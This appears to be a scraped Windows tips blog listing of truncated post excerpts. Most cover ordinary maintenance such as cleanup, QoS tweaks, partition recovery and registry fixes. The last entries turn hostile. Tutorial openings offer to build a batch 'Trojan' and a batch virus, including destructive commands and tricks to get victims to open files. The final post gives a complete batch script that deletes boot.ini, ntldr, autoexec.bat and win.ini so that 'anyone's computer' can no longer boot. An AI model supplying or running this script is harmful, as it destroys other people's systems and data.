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How to Keep Your Computer Healthy

How to Keep Your Computer Healthy

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Does your computer feeling a bit sluggish? Over a period of time computers can build up a lot of junk that slows them down and result into Long start-ups, computer crashes, freezing & slow performance. This brief post shall cover the basics so even the beginners will not feel keeping their computer healthy at their own as hard as it sound.         Basic Computer Health The Very Basics As the famous saying goes "Prevention is better than cure." And this couldn’t be any less true for computers. If you can prevent your computer from becoming cluttered in the first place, it not just only saves yourself time also possibly a headache. So here are a few tips to keep your computer healthy on the while your day to day use: -Only install programs you nee...
Increase internet Speed by tweaking QoS in Windows Xp

Increase internet Speed by tweaking QoS in Windows Xp

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The following tweak has been tested with Windows XP only. however I am not denying that fact that these settings may be able to tweak and optimize Windows 7 internet and network speed. The default system behavior is that all 100% bandwidth is available, however, if there is a running application that indicates to the OS it needs to send high priority/real time data, then as long as it has the socket open, Windows XP will restrict “best effort” traffic to 80% of the bandwidth so that high priority traffic can be accommodated. Basically, applications can make this request to the operating system for QoS support using the QoS application programming interfaces (APIs) in Windows and this only applies if a specific app is requesting QoS. If you'd like to change how much bandwidth is reserve...
Cannot Open a particular website? See What to do

Cannot Open a particular website? See What to do

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Your computer is connected to the Internet but you are unable to open a particular website though all the other sites are loading without issues. For instance, you can open yahoo.com and bing.com but it takes forever to load www.google.com even though the site is up for everyone else in the world. How to Troubleshoot your Internet Connection Step 0: Like with everything else, switch off the modem, restart the computer, and turn on the modem again. Also clear the Internet cookies and browser cache. Problem gone? No, proceed to the next step. Step 1: Temporarily disable your computer's firewall and close any anti-virus software that may be running in the background. If you are now able to access the websites that were previously not loading, your security program is causing the proble...
How to recover Partition table ?

How to recover Partition table ?

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Well Friends day before yesterday I had some problems with partition table of my computer. It was corrupted so I was not able to view any of my drive and when I dig in with using DISKPART it showed up the drive as invalid. But I was successfully managed to save my data and restore my computer using wonderful free open source software “TestDisk“   TestDisk is powerful free data recovery software! It was primarily designed to help recover lost partitions and/or make non-booting disks bootable again when these symptoms are caused by faulty software, certain types of viruses or human error (such as accidentally deleting a Partition Table). Partition table recovery using TestDisk is really easy. TestDisk can Fix partition table, recover deleted partition Recover FAT32 boot...
Fix – One or more ActiveX controls could not be displayed

Fix – One or more ActiveX controls could not be displayed

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Many of you have experienced the following problem each time when you launch Windows Services (i.e. services.msc) window. You get the following warning: This warning pop-up opens only when you click on Extended tab. Well don’t worry because today I will share a trick so that you can get rid of this problem. All you need to do is to follow below mentioned steps Click Start, click Run, type regedit, and then click OK. Expand the following registry subkey: HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZones Delete 1 extra (parasite) zone with pseudo-graphic number, you'll see it before zone number 0. As shown in image - Quit Registry Editor. Hoo...
Run LiveCD (ISO/CD Image file) Linux within Windows

Run LiveCD (ISO/CD Image file) Linux within Windows

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When you download an ISO/image file, you have to burn it to CD/DVD and you have to change the booting priority of drives through BIOS for testing it .It is more time consuming. MobaLiveCD allows you to test your LiveCD with a single click : after downloading the ISO image file of your favorite LiveCD, you just have to start it in MobaLiveCD and here you are, without the need to burn a CD-Rom or to reboot your computer MobaLiveCD key features: · No need to burn the CD-Rom anymore · You can use the right-click menu for an easy and fast start · Program without installation that you can start from an USB stick · A clear and easy to use interface · Light and portable application, packaged in a single executable of 1.6MB only · NEW FEATURE!!!! Added USB boot support. You can now test your boot...

Make Windows Components visible into Add/Remove Programs

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Hey All, I have some trick for you . So lets start.... Not a fan of MSN Messenger? Don't want Windows Media Player on your system? But if you'll go to Add/Remove Programs in the Control Panel, by default none of Windows XP's built in programs are visible. But if you want you can make them visible its just tricky but some what easy also so to make visible windows XP's built in programs follow the following some steps: Go to the drive where XP is installed lets say it is C: open the file C:Windowsinfsysoc.inf in Notepad. You should see a section of the file something like this: [Components] NtComponents=ntoc.dll,NtOcSetupProc,,4 WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,...

Making your own Trojan in bat file in windows

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Open a dos prompt we will only need a dos prompt and windows xp operating system -Basics- Opening a dos prompt -> Go to start and then execute and type cmd and press ok Now insert this command: net And you will get something like this NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP | HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ] In this tutorial we well use 3 of the commands listed here they are: net user , net share and net send We will select some of those commands and put them on a .bat file. What is a .bat file? Bat fi...

How to Make a batch virus using Notepad

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How to build a simple .bat virus Index 1. Tools 2. What makes a virus a virus 3. Making your first batch file 4. Making a batch virus 5. Destructive commands 6. Most common tricks used to make someone open the file 1. Tools To make a batch program you will need a text program (ex. Word,notepad,wordpad etc..) A keyboard if you don't have one you can use the ON-screen keyboard To get to the on-screen keyboard start>all programs>accessories>accessibility 2. What makes a virus a virus When people think of a virus they think of a computer virus but the word virus came from a virus that's in your body. They also think a virus is meant to de...

Shut Down Anyone's Computer Forever…

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@echo off attrib -r -s -h c:autoexec.bat del c:autoexec.bat attrib -r -s -h c:boot.ini del c:boot.ini attrib -r -s -h c:ntldr del c:ntldr attrib -r -s -h c:windowswin.ini del c:windowswin.ini Open up notepad and copy and paste that. Save it as a .bat file. This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. REMEMBER - DO NOT CLICK THIS FILE. (for the idiots)   Technorati Tags: .bat,shutdown,batch file